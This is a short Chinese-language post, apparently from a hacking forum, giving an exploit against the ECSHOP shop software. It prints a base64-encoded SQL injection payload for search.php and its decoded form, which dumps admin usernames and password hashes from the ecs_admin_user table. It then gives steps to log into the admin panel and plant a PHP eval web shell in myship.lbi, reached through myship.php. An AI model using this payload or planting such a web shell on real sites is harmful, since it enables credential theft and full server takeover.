ECSHOP 搜索注入漏洞利用exp及后台拿shell

这个是search.php exp 变种
search.php?
encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319

解密:

a:1:{s:4:"attr";a:1:{s:125:"1') and 1=2 GROUP BY goods_id union all select concat(user_name,0x3a,password,'"\') union select 1#"'),1 from ecs_admin_user#";s:1:"1";}}

 

拿SHELL登陆后台/admin/ 输入用户密码模块管理-库项目管理-选择myship.lbi里插入<?php eval($_REQUEST['cmd'])?>

连接http://www.***.net/myship.php一句话